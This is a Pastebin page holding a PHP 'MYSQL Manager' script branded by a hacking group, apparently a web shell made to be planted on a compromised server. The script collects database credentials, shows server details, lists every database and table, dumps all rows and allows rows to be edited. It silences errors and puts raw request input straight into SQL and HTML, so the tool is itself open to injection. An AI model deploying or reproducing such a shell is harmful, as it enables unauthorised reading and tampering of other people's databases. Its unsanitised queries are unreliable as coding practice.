Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #INJ3CTOR_M4
- if(isset($_POST['hstnm']) && isset($_POST['usrnm'])){
- $_COOKIE["hstnm"] = trim($_POST['hstnm']);
- /*AND*/ setcookie("hstnm", trim($_POST['hstnm']));
- $_COOKIE["usrnm"] = trim($_POST['usrnm']);
- /*AND*/ setcookie("usrnm", trim($_POST['usrnm']));
- if(isset($_POST['psswrd'])){
- $_COOKIE["psswrd"] = trim($_POST['psswrd']);
- /*AND*/ setcookie("psswrd", trim($_POST['psswrd']));
- }else{ $_COOKIE["psswrd"] == "";}
- }
- if(!isset($_COOKIE["hstnm"]) || !isset($_COOKIE["usrnm"])){
- echo'
- <center>
- <img src="http://i.imgur.com/TotOzm6.jpg">
- <br /><b><font size="3">MYSQL Manager.</b>
- <br />`MOROCCAN HAXORS`</font>
- <form method="POST">
- <pre>
- <b>Hostname:</b> <input name="hstnm" type="text" value="localhost"/>
- <b>Username:</b> <input name="usrnm" type="text"/>
- <b>Password:</b> <input name="psswrd" type="password"/><br />
- <input type="submit" value="Login >>" />
- </pre>
- ';
- exit;
- }
- ?>
- <style>
- body{
- font-family: "Courier";
- background-color: #F5F5F5;
- margin: 8;
- }.input,select,textarea{
- border:1px solid #4F4F4F; font-family:Courier; font-size:14px;
- }
- </style>
- <?php
- @set_time_limit(0);
- error_reporting(0);
- # MySQL Info ---------
- $hostname = $_COOKIE["hstnm"];
- $db_user= $_COOKIE["usrnm"];
- $db_pass= $_COOKIE["psswrd"];
- $db_name="information_schema";
- #---------------------
- echo'
- <center>
- <table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">
- <tr>
- <th>uname</th>
- <td><u><font size="2" color="green">'.php_uname().'</font></u></td>
- </tr>
- <tr>
- <th>PHP Version</th>
- <td><u><font size="2" color="green">'.phpversion().'</font></u></td>
- </tr>
- <tr>
- <th>MySQL Version</th>
- <td><u><font size="2" color="green">'.mysql_get_server_info().'</font></u></td>
- </tr>
- </table>
- ';
- echo'
- <table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">
- <tr><td align="center"><b><font size="2">[ <a href="'.basename(__FILE__).'" >./HOME</a> ]</font></b></td></tr>
- ';
- $conn = mysqli_connect($hostname, $db_user, $db_pass);
- if(!$conn){ die("<tr><td align='center'>Connection failed: " . mysqli_connect_error()." </tr></td>"); }
- if(!isset($_GET['db'])){
- $e = mysqli_query($conn, "SHOW DATABASES");
- while($row = mysqli_fetch_assoc($e)){
- $databases[]= $row['Database'];
- }
- mysqli_free_result($e);
- echo'</table><table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">';
- echo'<td>Database</td><td>Action</td>';
- foreach($databases as $database){
- echo'<tr><th align="left"><small>'.$database.'</small></th>';
- echo'<td><a href="?db='.$database.'" ><small>Afficher</small></a></td></tr>';
- }
- }elseif(isset($_GET['db'])){
- $db = $_GET['db'];
- mysqli_select_db($conn, $db);
- $e = mysqli_query($conn, "SHOW TABLES");
- while($row = mysqli_fetch_assoc($e)){
- $tables[]= $row['Tables_in_'.$db];
- }
- mysqli_free_result($e);
- echo'</td></tr></table>';
- echo'<table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">';
- if(!isset($_GET['table'])){
- echo'<td>Table</td><td>Action</td>';
- foreach($tables as $table){
- echo'<tr><th align="left"><small>'.$table.'</small></th>';
- echo'<td><a href="?db='.$db.'&table='.$table.'" ><small>Afficher</small></a></td></tr>';
- }
- }elseif(isset($_GET['table'])){
- $table = $_GET['table'];
- $e = mysqli_query($conn, "show columns from $table");
- while($row = mysqli_fetch_assoc($e)){
- $columns[]= $row['Field'];
- }
- mysqli_free_result($e);
- if(isset($_GET['edit'])){
- $num=$_GET['edit'];
- echo'<tr>';
- foreach($columns as $column){
- echo"<td><small><b>$column</b></small></td>";
- }
- echo"</tr><tr>";
- $e = mysqli_query($conn, "SELECT * FROM `$table` LIMIT $num,1");
- $row = mysqli_fetch_array($e, MYSQL_NUM);
- for($i=0;$i<sizeof($row);$i++){
- echo"<td><small><form method='post'><input name='$columns[$i]$i' type='text' value='{$row[$i]}' /></small></td>";
- }
- echo'</tr></table><table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">';
- echo'<tr><td align="center"><a href="?db='.$db.'&table='.$table.'">[Quitter >>]</a></td><td align="center"><small><br /><input name="update" type="submit" value="Executer >>"></form></small></td></tr>';
- if(isset($_POST['update'])){
- for($i=0;$i<sizeof($row);$i++){
- $e = mysqli_query($conn, "UPDATE `$db`.`$table` SET `{$columns[$i]}` = '".$_POST["$columns[$i]$i"]."' where {$columns['0']} = {$row['0']}");
- mysqli_free_result($e);
- }
- }
- }elseif(!isset($_GET['edit'])){
- echo'<tr><td><small><b>#</b></small></td>';
- foreach($columns as $column){
- echo"<td><small><b>$column</b></small></td>";
- }
- echo'</tr>';
- $e = mysqli_query($conn, "SELECT * FROM `$table`");
- $count='0';
- while($row = mysqli_fetch_assoc($e)){
- echo'<tr><td><a href="?db='.$db.'&table='.$table.'&edit='.$count.'"><small>Edit</small></a></td>';
- foreach($columns as $column){
- echo'<td><small>'.$row[$column].'</small></td>';
- }
- echo'</tr>';
- $count++;
- }
- }
- }
- }
- mysqli_close($conn);
Advertisement
Add Comment
Please, Sign In to add comment